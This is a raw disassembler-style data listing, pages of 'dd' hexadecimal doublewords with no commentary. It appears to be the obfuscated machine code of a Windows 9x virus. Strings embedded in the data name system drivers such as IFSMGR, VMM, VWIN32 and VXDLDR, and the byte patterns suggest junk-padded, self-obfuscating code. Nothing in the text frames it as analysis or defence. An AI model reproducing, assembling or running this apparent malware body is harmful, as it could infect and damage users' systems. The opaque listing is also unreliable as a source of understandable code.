		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0BAC35242h
		dd 57B59998h, 0F578408Bh, 6800Fh, 8D890000h, 61B03B1h
		dd 7027BD83h, 0F00061Eh, 0F985h, 5090F800h, 0EE952h, 4F70000h
		dd 0F2262692h, 0C8BD973Bh, 888443A4h, 0E860310Fh, 8, 0CAEEFF8h
		dd 0DE3E54F4h, 0CB8B665Ah, 50585A61h, 0EE9h, 7023AB00h
		dd 38E267D8h, 62E760Bh,	90AD707Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 20C35040h, 60F5B025h, 0F18BD68Bh
		dd 1B50161h, 0F061B21h,	0C87h, 6890F00h, 89000000h, 1B169985h
		dd 24448B06h, 7585892Ch, 50061B1Bh, 8C0F5250h, 19h, 14E9h
		dd 87D0600h, 756AF43Ah,	9BBE9AF1h, 1316E334h, 0B2C4A46Bh
		dd 50310F79h, 890F52h, 0F000000h, 0AE931h, 0C50C0000h
		dd 0F9C137A2h, 7143FF39h, 585A585Ah, 1240489h, 1B2C2585h
		dd 1840F06h, 0F9000000h, 4824858Dh, 890F061Eh, 0Ah, 5E9h
		dd 0E5267300h, 0D0FF2A70h, 0D998501h, 4403061Bh, 0BD892824h
		dd 61B0191h, 0F18408Bh,	186h, 6A40F800h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 5303C356h
		dd 0B3F489DFh, 9E9C3h, 0EC250000h, 56C63062h, 893A8F47h
		dd 1E702385h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 597F66A4h, 0AE9h,	0D6EB0F00h, 0D628CD61h
		dd 0F8E8B570h, 18B0F58h, 0FC000000h, 6A78708Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9CC1C350h, 33EC0439h, 0E840F05h, 0E9000000h,	9, 0B7EE4346h
		dd 4F42D66Ah, 0B5660F6h, 1B2FA58Dh, 0BD8B5F06h,	61B18F1h
		dd 1CC68361h, 2FB99D01h, 8996061Bh, 1B2B558Dh, 49B50906h
		dd 81061B1Ah, 24247Ch, 0F100000h, 14587h, 0E9516000h, 0Ah
		dd 303F767Ah, 0AEC827DDh, 8A591157h, 0F9061CBh,	128Bh
		dd 61606000h, 8E8h, 5CCD6D00h, 0EABC68A2h, 5061583Ch, 50605250h
		dd 5A310F52h, 6E858h, 123C0000h, 0D5D162FFh, 310F615Ah
		dd 188B0Fh, 13E90000h, 73000000h, 0B22F5274h, 98926EA2h
		dd 4A82E201h, 82E8BF80h, 585AF908h, 0E8A0F90h, 60000000h
		dd 1ABFF181h, 8E0F7BEDh, 0
		dd 24448B61h, 6830F28h,	29000000h, 1B062995h, 0E880F06h
		dd 0E9000000h, 9, 0B9DED757h, 0CDD37257h, 52509072h, 43B96660h
		dd 5EBE663Eh, 310F618Fh, 0DE860h, 0DB570000h, 6142A8C7h
		dd 0C3240901h, 590E5075h, 0A74BA66h, 50585A61h,	13E9h
		dd 0F874700h, 31D9C54Dh, 10A357Ch, 9D9D799Ch, 161FC099h
		dd 0B58B6090h, 61B1795h, 0DBFFBB66h, 198C0F61h,	0E9000000h
		dd 14h,	57496BC6h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh, 77D4F147h
		dd 4824858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 998094C3h, 1870F0Dh, 0FC000000h
		dd 8B60D0FFh, 1B0CD5BDh, 0E9966106h, 9,	3BB4E20Bh, 76CF4441h
		dd 2474033Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 7213CF07h, 0BD8D47F7h, 61B09B1h
		dd 0F9BD8960h, 31061B00h, 1B002985h, 6AAD6106h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0B585C356h, 8044A4EBh, 892C2CE9h, 1B0D29BDh,	247C8106h
		dd 24h,	39870F10h, 0F8000001h, 66B4B260h, 61A4F2BBh, 0EE86090h
		dd 1D000000h, 0C122344Ch, 579FF0BEh, 967E3408h,	81B86616h
		dd 52505B00h, 0FD98B66h, 6B33BB31h, 585A7046h, 5E95061h
		dd 9C000000h, 0A020025Eh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 34342E54h
		dd 12E9CAh, 64420000h, 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h
		dd 0CE58EA80h, 2824448Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 91C35545h, 0EA6BC9C4h, 50500491h, 0F525052h
		dd 85h,	0F310F00h, 89h,	0F585A00h, 0E9525031h, 5, 6558A746h
		dd 0E9310F41h, 12h, 42E3C0ADh, 9AA9619Ah, 0B2AB2206h, 0F45BAD66h
		dd 585A1795h, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 2A15F094h, 6810Fh, 95010000h
		dd 61B0B81h, 4824858Dh,	6A061Eh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 103253C3h, 0C4F872FAh
		dd 9D89D0FFh, 61B1C71h,	24244403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 5DC35242h, 714B465h, 0C0B12204h
		dd 6AABC7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 3A114AC3h, 0EF8A60B3h, 0E8F0Fh, 9E90000h
		dd 5F000000h, 0CBE780E2h, 0FD3894BDh, 0C810F61h, 60000000h
		dd 0B2DDB866h, 1A15958Bh, 8161061Bh, 10000FAh, 94820F00h
		dd 0F000006h, 88Ah, 85316000h, 61B2425h, 35BD8D61h, 0E9061B07h
		dd 0Dh,	79D3FE5Dh, 0A4D91E5Ah, 0FE8E0542h, 985891Eh, 0AD061B07h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 7AC35747h
		dd 8D31B4A5h, 61B0301h,	8D8BF960h, 61B0A8Dh, 247C8161h
		dd 24h,	9870F10h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 7C4DC356h, 78B92931h
		dd 0C800F03h, 0F000000h, 685h, 35850100h, 0F061B2Eh, 0C89h
		dd 6820F00h, 29000000h,	1B06A1BDh, 4D9D8906h, 50061B24h
		dd 9FE2BE60h, 0F60338Ah, 80h, 61E0B300h, 24048961h, 998D89F8h
		dd 8B061B2Fh, 0F5282444h, 0F525090h, 685h, 0F525000h, 0F585A31h
		dd 2850F31h, 60000000h,	50585A61h, 12E9h, 605D0200h, 2A7AB1DCh
		dd 0CBEA5A4h, 0BAC6BC64h, 909EDBF0h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 2BC35747h, 786E8808h, 858DBD9Eh
		dd 61E4824h, 0EE9h, 45DE4B00h, 8F65667Ah, 1DF46368h, 895DD9D9h
		dd 1B0E31BDh, 6AD0FF06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0C07BC350h,	86DB78A1h
		dd 92F0FBF7h, 24244403h, 5D850960h, 29061B30h, 1B2931B5h
		dd 0F506106h, 0E80h, 830F6000h,	0
		dd 310F5250h, 8961585Ah, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BD1A0FC3h, 6B3C38EDh
		dd 0FAB51DFh, 0C84h, 6820F00h, 29000000h, 1B2281B5h, 5BD8D06h
		dd 0F061B1Fh, 0B80h, 6E900h, 0FDE30000h, 749BFE55h, 41B589ADh
		dd 81061B0Dh, 28247Ch, 0F100000h, 11B87h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0BE5A9917h, 2012AF5Bh, 6800F50h, 89000000h, 1B0F0595h
		dd 52505006h, 0BB59B660h, 2C027B2Fh, 0E9310F61h, 0Dh, 7F2047F1h
		dd 4D3DB53h, 0A873F2EEh, 89585A9Eh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9D8E2C3h
		dd 4F53F3FDh, 6E951h, 0E9DB0000h, 0A12009E5h, 2C24448Bh
		dd 0F159D01h, 0E950061Bh, 13h, 7E813A0Fh, 16AC8A59h, 40EF6AB6h
		dd 0A1BE8043h, 89CB2C0Eh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0CECE0DC3h, 20A3C49h
		dd 858DFC14h, 61E4824h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 2BC35747h, 0B5858961h, 0FF061B22h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0E4DE88D8h, 98FECE0h, 28244403h, 0E19D8B60h,	9061B0Ah
		dd 1B08958Dh, 6AAB6106h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0B04BC350h,	0F67F5D3Bh
		dd 9D0160F9h, 61B1F35h,	919858Bh, 0F861061Bh, 238DFF5Eh
		dd 83061E70h, 1E7023BDh, 0A750006h, 0B58DC033h,	61E7F6Ah
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 4824858Dh, 0D0FF061Eh, 28244403h, 8ADF8B97h,	1E701F85h
		dd 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 2585FF04h, 0E9061B07h, 0FFFFFF5Dh
		dd 13860F5Eh, 0E9000000h, 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h
		dd 858916B9h, 61B122Dh,	725858Bh, 820F061Bh, 6,	1E718D31h
		dd 0E0D1061Bh, 2FB9B589h, 8B0F061Bh, 0Ch, 0E9BF6660h, 3D958B15h
		dd 61061B0Ch, 1F058503h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 73DBB3C3h, 13E23823h
		dd 0BE79B7h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 71AC356h, 5E9h, 0C07D0E00h
		dd 6A96A393h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9D97C351h, 0BD0C2D9Bh,	0A117167Fh
		dd 0F08B6660h, 61CEB70Fh, 8D89AD66h, 61B0CC9h, 2E0C1F9h
		dd 13870Fh, 0EE90000h, 92000000h, 0C80AE239h, 8529F53Bh
		dd 148E954h, 0B1850332h, 0E9061B09h, 13h, 84F5BC49h, 0AFEC00CAh
		dd 179E521Dh, 5BBE5A99h, 962012AFh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0DCC35141h,	97738FF6h, 5B395D25h
		dd 8A60AD60h, 3E54BFFDh, 81614CDEh, 24247Ch, 0F100000h
		dd 0D887h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 44313174h, 6830FBFh, 9000000h, 1B22B58Dh
		dd 0F609006h, 386h, 0FA8B6600h,	718AB866h, 8D0F5061h, 16h
		dd 0BE960h, 0BA770000h,	871D517h, 408FCD9Eh, 0DCBB66A3h
		dd 0E9906106h, 7, 0CEEDE3E1h, 8B7854EEh, 0E9282444h, 13h
		dd 25B92CC4h, 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 50A8BBE6h
		dd 11800Fh, 0B0600000h,	7E8F6h,	57940000h, 3C022227h, 89615F95h
		dd 8D292404h, 61B3009h,	4824858Dh, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D0FFC2C3h
		dd 0B8A0Fh, 81600000h, 0C576FC3h, 0FB8B6600h, 24440361h
		dd 25B58924h, 89061B1Dh, 0F91C2444h, 239D85C6h,	0C700061Bh
		dd 1E71E285h, 6, 2785C700h, 61E70h, 0F9000000h,	13820Fh
		dd 830F0000h, 0Dh, 8E9h, 492FCF00h, 0AC3008C3h,	0BD896154h
		dd 61B1791h, 0F0008C2h,	0C8Dh, 6890F00h, 29000000h, 1B1B459Dh
		dd 81666006h, 665EB6E6h, 8B61D18Bh, 1B09B185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0C8762D75h, 0B0BBB57h, 9E93Bh, 19800000h, 68A80D53h
		dd 4AF4BA02h, 0AE9h, 44C96700h,	0EE92FC97h, 6B7BBD70h
		dd 3F804D2h, 50006AC2h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 27EC5838h, 723295A1h, 0B52982A0h
		dd 61B0EDDh, 12E996h, 0D88A0000h, 21D11621h, 6C32374Dh
		dd 0DEDD11F7h, 879F20A7h, 68A0F60h, 89000000h, 1B24D985h
		dd 0AD61FC06h, 5E9F9h, 496F0000h, 817A4203h, 24247Ch, 0F100000h
		dd 0FB87h, 6090F800h, 8E85250h,	7C000000h, 0D4CA804Fh
		dd 5882B7F6h, 5953310Fh, 5660585Ah, 60BA6658h, 50616176h
		dd 8860Fh, 8C0F0000h, 2, 6A906160h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B38C352h
		dd 7E062E76h, 0E890F70h, 60000000h, 769BD29h, 8A0F061Bh
		dd 0
		dd 24448B61h, 0FDB52928h, 50061B0Ah, 61606060h,	0E861F88Ah
		dd 0Fh,	9F4B78B1h, 0C00B5218h, 0A7090291h, 0E9907665h
		dd 0Eh,	0FC75F730h, 2E55EDC8h, 6E88082Bh, 615B9E78h, 0F240489h
		dd 683h, 5D858900h, 8D061B16h, 1E482485h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0EB196865h, 5C0A3EE8h, 1E958509h, 880F061Bh,	0Ch, 6830Fh
		dd 0B5890000h, 61B28E9h, 0B589D0FFh, 61B0699h, 0FFFDDCE9h
		dd 0C18529FFh, 8D061B03h, 1E853D85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 9829FE73h
		dd 19F74DEh, 1B18A195h,	0F98D8906h, 90061B0Bh, 52505250h
		dd 310F5250h, 310F585Ah, 0DE9h,	0B98C7700h, 0E12B8DC5h
		dd 0BBCB65DAh, 585A535Fh, 8B0F310Fh, 2,	585A6160h, 60525050h
		dd 0AD50C6BBh, 8A0F60h,	61000000h, 890F310Fh, 6, 310F5250h
		dd 585A585Ah, 5E990h, 0DD130000h, 644E4AD8h, 35FFh, 0F600000h
		dd 285h, 0E8595100h, 11h, 525A856Fh, 4AD0A8C5h,	145A4F76h
		dd 6A25925Dh, 8995293Ch, 5F061B16h, 0B830F61h, 0E9000000h
		dd 6, 4DD3F28Eh, 48B6641h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0E64707EDh
		dd 8909A45Eh, 1B06FD85h, 9D296006h, 61B1945h, 7BD8D03h
		dd 6461061Bh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0B9138CC3h, 60B95CB2h
		dd 2BB5B589h, 8D61061Bh, 1E831385h, 59D0906h, 0FC061B31h
		dd 6A016089h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0CBDFC355h, 5154CDD5h,	25E1BD89h
		dd 0E9F9061Bh, 26Fh, 0F877BE60h, 0E5800C13h, 0DB8B6188h
		dd 0E8h, 0ED815D00h, 61E830Ch, 12FF9CBCh, 0A1BD8300h, 61B2Fh
		dd 858B1874h, 61B3031h,	8B0000C6h, 1B1E9985h, 0C606h, 2FBD95FFh
		dd 0FF60061Bh, 1E6C2BB5h, 2F858D06h, 50061E6Ch,	6E27858Dh
		dd 0FF50061Eh, 1B2D7195h, 0CC48306h, 50006A61h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 20F7F5C1h
		dd 0DD29FD8Fh, 12E93F26h, 55000000h, 4383995Eh,	54D275D5h
		dd 66DEBA0Ch, 757BA001h, 27B58D98h, 6A061E6Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E128C350h, 5DBD8D39h, 6A061B14h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 80E4C355h
		dd 840F003Eh, 5Ah, 6AA4F5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 840F1DC3h, 1,	0B99589FCh
		dd 0E9061B12h, 0FFFFFFC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F9C35747h, 1670212Ah, 95D677D2h, 2DDD8509h
		dd 0B8061Bh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0F36FC350h,	9FC46FC5h
		dd 0F98E8FDBh, 55006AAAh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0F6F1607h, 5EEBB7A5h
		dd 6060F9D7h, 0D583E9BAh, 8E0F45h, 61000000h, 1A2D8D8Bh
		dd 0B861061Bh, 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	48C35646h, 8C0F7D2Ch, 0Ah, 29616060h, 1B29D985h
		dd 0F606106h, 0C761DBB7h, 1B111585h, 106h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 1E0D2111h, 0BD29076Ah, 61B1101h, 0AFD9501h, 8D8D061Bh
		dd 61B4CD3h, 0B99D89F5h, 0FF061B23h, 12E9E1h, 5CC30000h
		dd 0CBBD8058h, 8192E1F3h, 0CA253266h, 561EE1C7h, 31198531h
		dd 5C8B061Bh, 0E8550C24h, 0
		dd 47ED815Dh, 8B061E85h, 0B883h, 2B858900h, 8D061E6Ch
		dd 1E830585h, 0B8838906h, 5D000000h, 1C3C033h, 1B2DD1BDh
		dd 6AF906h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0EA8D4AC3h, 0A05597A3h, 8A0F604Fh, 16h, 11E9h
		dd 0D7C1ED00h, 0BD501A18h, 0D1C1DF1Bh, 6FD0733Ah, 8B668299h
		dd 6A6061F7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0B506C353h, 9360FAAEh,	0C1B12543h
		dd 87B7858Dh, 0BE9061Eh, 76000000h, 17F5E43h, 7CA423BFh
		dd 5050B63Eh, 7E952h, 5ECA0000h, 0D1D1E6E0h, 60310FAAh
		dd 0BE8h, 5953200h, 0F2366F07h,	0B8C562ABh, 585A615Fh
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0BE54C356h, 8B59B12Dh,	35FF6416h
		dd 0
		dd 0D08B6060h, 0B909C781h, 8B61730Ah, 1B06558Dh, 0BE96106h
		dd 97000000h, 1261552Eh, 0B1B73BD2h, 89640343h,	25h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 72C5DC34h, 89E8DC69h, 1B1EBD85h, 41858D06h, 0F061E88h
		dd 0D80h, 81666000h, 8B86F3C9h,	1B08CDBDh, 50606106h, 3499529h
		dd 615F061Bh, 6A016089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0BF5BC356h,	9D09601Dh
		dd 61B0005h, 61D8BF0Fh,	239D85C6h, 0F4F061Bh, 148Eh, 0FE900h
		dd 86B60000h, 0ACDA5E64h, 3937AAC6h, 14B4655Dh,	7DA06807h
		dd 6660F892h, 0B15BCBBAh, 34816166h, 5A098A24h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 7BFDC153h, 0B12F0h, 11B5FFFCh, 0F8061B2Fh, 33519589h
		dd 858D061Bh, 61E7046h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0DDC35646h, 0BE817A1Eh, 0E95974B0h, 7
		dd 55C8547Eh, 89C0371Bh, 1B3039B5h, 6AD0FF06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2CF9C357h, 7E9FC9Ch,	0D5000000h, 0D247C36Eh,	8BE9C11Eh
		dd 0F9000000h, 0C245C8Bh, 0E855h, 815D0000h, 1E87C1EDh
		dd 0F9858B06h, 89061B2Bh, 1B2F1185h, 0B5858B06h, 89061B29h
		dd 1B29C185h, 0B9858B06h, 89061B2Dh, 1B0B4585h,	9D85C606h
		dd 61B23h, 71E285C7h, 61Eh, 858D0000h, 61E8841h, 0B88389h
		dd 335D0000h, 0AE9C3C0h, 28000000h, 4C8E83CEh, 0F03AFCFFh
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 9B1A6583h, 32899589h, 74BC061Bh,	6A0012FFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0BC14C352h, 8D314616h, 61B2EDDh, 58F64h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0E1F2C350h, 0E9CEEDE3h, 0Eh, 3598261Ch
		dd 14AFCD3Eh, 0F6BCC10h, 0F600461h, 87h, 45BD8B00h, 61061B12h
		dd 3104C483h, 1B02D19Dh, 34EB6106h, 4D534649h, 20205247h
		dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
		dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
		dd 72DE9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 602D32FEh, 53608AB6h, 6161F558h
		dd 1870F60h, 0FC000000h, 88E785C7h, 61Eh, 8BF80000h, 55006AC6h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 60273152h, 0B3DE0FB8h, 8C0F517Bh, 0
dword_565E54	dd 0B70F6158h, 1860FD8h, 0FC000000h, 6A10E8C1h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 3E1C357h, 0E951C91Ah, 7, 0C15CDA2Eh,	66B6EF30h, 6A08C8C1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 6336C357h, 0BAAB6A6Ah, 0FCF7CE3h,	185h, 8589F800h
		dd 61E88EBh, 0CBC166F9h, 12E9F508h, 52000000h, 0DD90026Eh
		dd 5AEEDC47h, 47B9EE6Dh, 6914B638h, 40FB837Eh, 77850Fh
		dd 8DF50000h, 1E88BFBDh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0BBE8DE64h, 12890F9Ah
		dd 0F000000h, 0C87h, 7E900h, 28EF0000h,	0F1BB55E8h, 0FE9E0h
		dd 0BCBC0000h, 71713CFEh, 6A5F3C6Ch, 131A6DCEh,	212E9EFh
		dd 0F5600000h, 12E960h,	1B4F0000h, 0D4EAA441h, 257EB556h
		dd 0E952B6CEh, 7CBCDA8Eh, 61C7BF0Fh, 0DFB8361h,	75850Fh
		dd 8DF90000h, 1E88C7BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 7CD906A3h, 0E960D11Dh
		dd 0Bh,	253485C9h, 0BF3B9A5Ch, 617C60BDh, 1ABE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0CC26D8F9h, 10E9F9A1h, 2F000000h, 27693FE5h,	3DF44354h
		dd 8CC93F05h, 83AD262Bh, 850F01FBh, 0A8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0DBC35646h, 6BC0E5B6h
		dd 97BF6660h, 14E839h, 377D0000h, 0AD8528E2h, 49F27C38h
		dd 2ED5B228h, 0EE25DEABh, 615952C1h, 118B0Fh, 0CE90000h
		dd 2F000000h, 92DB2461h, 2C2414E3h, 8DC42719h, 1E88CFBDh
		dd 0B870F06h, 0E9000000h, 6, 0E3388A2Dh, 0F9E9947Ah, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 484DC350h, 12E905h, 3060000h, 6E364D1h, 0A422A919h
		dd 90B3F3DDh, 6CA16C44h, 0F2AFB83h, 3F85h, 0B0B36000h
		dd 79F78166h, 0BD8D6188h, 61E88D7h, 0FAB70F60h,	0F861FE8Bh
		dd 9FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0EA6C57E3h, 0BD1DF00Ch, 0F27FB83h
		dd 34785h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0A56DDB35h, 504DB0EDh, 5E9h, 0E17A7E00h
		dd 666079DBh, 0F60FA8Bh, 8Ah, 7E800h, 0E2110000h, 1B9D17B2h
		dd 61615AFFh, 88DFBD8Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 81E7A6C3h, 1800F61h
		dd 0F8000000h, 88EFBD89h, 66F5061Eh, 0AE9C88Ch,	36000000h
		dd 77816598h, 24A44B3Fh, 324F53Ch, 0D3F08060h, 0FC00A61h
		dd 1DC85h, 0C38B6000h, 0B5E78166h, 0B58D6105h, 61E8F5Ah
		dd 0EE9h, 0F43D9D00h, 9B258D47h, 0E7C19DD5h, 8B94BC32h
		dd 1E8FB685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 5E1C31F9h, 11E9h,	0AD74F400h, 6688F071h
		dd 41A81C9Bh, 0FA481C3Bh, 6050257Ah, 0AE960h, 0BCB0000h
		dd 45ECF67Bh, 66389710h, 310F5250h, 0E961585Ah,	0Fh, 0D4A184FAh
		dd 0B6F15927h, 0D80D83A3h, 610BE6DAh, 6A241489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0D8B9C355h, 25BB99E6h, 6E960h, 764B0000h, 52051E6Eh
		dd 58F0Fh, 81660000h, 61561DE1h, 0AE9h,	7F929F00h, 1F8289D5h
		dd 0F59EBF8h, 0FE244C01h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 4C35040h, 82F49272h, 0AE99Ch,	274E0000h
		dd 0B20CCC23h, 0CAC4FC91h, 6A5AFCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2467EAC3h
		dd 0BF3A5551h, 0FC4020E2h, 6A24C283h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3800C356h
		dd 303A3C59h, 6619038Eh, 0FFC7289h, 180h, 0C1F9FC00h, 6A10CEh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0BA8854C3h, 6E9E6A2h, 0EF000000h, 0A08B8321h, 728966E5h
		dd 53006A02h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0E6040BF6h, 0FC499D0Dh, 800F04CDh, 8, 66616060h
		dd 61671BBAh, 7FE9h, 7E900h, 5DCC0000h,	991CBA5Ah, 0B6858B21h
		dd 6A061E8Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0F508C353h, 8F5AB58Dh,	8E0F061Eh
		dd 8, 2890Fh, 61600000h, 40F4858Dh, 8B60061Eh, 6E9DEh
		dd 60B40000h, 0C9F9B1CDh, 6AD0FF61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C248C353h
		dd 21935E0Fh, 0F513BBFFh, 88E78589h, 6A061Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0C075B3C3h
		dd 0F78D595Bh, 0EE960h,	26B30000h, 0EB28E8A5h, 1ED3D5E9h
		dd 0F916D990h, 612DC380h, 16850Fh, 11E90000h, 96000000h
		dd 9F875774h, 8536F8A4h, 48FBEFABh, 75345513h, 0B70F6061h
		dd 858B61F3h, 61E88E7h,	7E9h, 2884E300h, 0EC796D27h, 9E9C3h
		dd 8A490000h, 845BDD3Ch, 60894CE0h, 0CE9h, 0C541CA00h
		dd 3C8501C5h, 0C13CEEA6h, 0BD83FC10h, 61E8FB6h,	11850F00h
		dd 0F9000000h, 8FB685C7h, 13F061Eh, 0B3600001h,	61F08A4Eh
		dd 24E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0A1F99904h, 0E5D647B7h, 20CD20h
